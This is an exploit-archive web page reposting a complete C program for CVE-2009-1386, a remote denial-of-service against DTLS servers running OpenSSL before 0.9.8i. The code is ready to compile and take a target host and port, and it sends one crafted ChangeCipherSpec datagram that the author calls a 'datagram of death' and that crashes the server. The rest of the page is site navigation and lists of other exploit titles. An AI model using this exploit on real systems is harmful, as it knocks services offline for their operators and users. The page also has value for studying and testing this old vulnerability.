首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
OpenSSL < 0.9.8i DTLS ChangeCipherSpec Remote DoS Exploit
来源:http://jon.oberheide.org 作者:Oberheide 发布时间:2009-06-05  

/*
 * cve-2009-1386.c
 *
 * OpenSSL < 0.9.8i DTLS ChangeCipherSpec Remote DoS
 * Jon Oberheide <jon@oberheide.org>
 * http://jon.oberheide.org
 *
 * Information:
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1386
 *
 *   OpenSSL would SegFault if the DTLS server receives a ChangeCipherSpec as
 *   the first record instead of ClientHello.
 *
 * Usage:
 *
 *   Pass the host and port of the target DTLS server:
 *
 *   $ gcc cve-2009-1386.c -o cve-2009-1386
 *   $ ./cve-2009-1386 1.2.3.4 666
 *
 * Notes:
 *
 *   Much easier than the memory exhaustion DoS issue (CVE-2009-1378) as this
 *   only requires a single ChangeCipherSpec datagram, but affects an older
 *   version of OpenSSL.
 *
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>

int
main(int argc, char **argv)
{
 int sock, ret;
 char *ptr, *err;
 struct hostent *h;
 struct sockaddr_in target;
 char buf[64];

 if (argc < 3) {
  err = "Pass the host and port of the target DTLS server";
  printf("[-] Error: %s\n", err);
  exit(1);
 }

 h = gethostbyname(argv[1]);
 if (!h) {
  err = "Unknown host specified";
  printf("[-] Error: %s (%s)\n", err, strerror(errno));
  exit(1);
 }

 target.sin_family = h->h_addrtype;
 memcpy(&target.sin_addr.s_addr, h->h_addr_list[0], h->h_length);
 target.sin_port = htons(atoi(argv[2]));

 sock = socket(AF_INET, SOCK_DGRAM, 0);
 if (sock == -1) {
  err = "Failed creating UDP socket";
  printf("[-] Error: %s (%s)\n", err, strerror(errno));
  exit(1);
 }

 ret = connect(sock, (struct sockaddr *) &target, sizeof(target));
 if (ret == -1) {
  err = "Failed to connect socket";
  printf("[-] Error: %s (%s)\n", err, strerror(errno));
  exit(1);
 }

 memcpy(buf, "\x14\xfe\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01", 14);

 printf("[+] Sending DTLS datagram of death at %s:%s...\n", argv[1], argv[2]);

 send(sock, buf, 14, 0);

 close(sock);

 return 0;
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Joomla Component Seminar 1.28
·Online Armor < 3.5.0.12 (OAmon
·Podcast Generator <= 1.2 unaut
·Web Directory PRO (admins.php)
·Atomix Virtual Dj Pro 6.0 Stac
·Host Directory PRO 2.1.0 Remot
·Apple iTunes 8.1.1 (ITMS) Mult
·PeaZIP <= 2.6.1 Compressed Fil
·The Linksys WAG54G2 web manage
·Kjtechforce mailman b1 (dest)
·ASP Football Pool 2.3 Remote D
·linux/x86 Bind ASM Code Linux
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved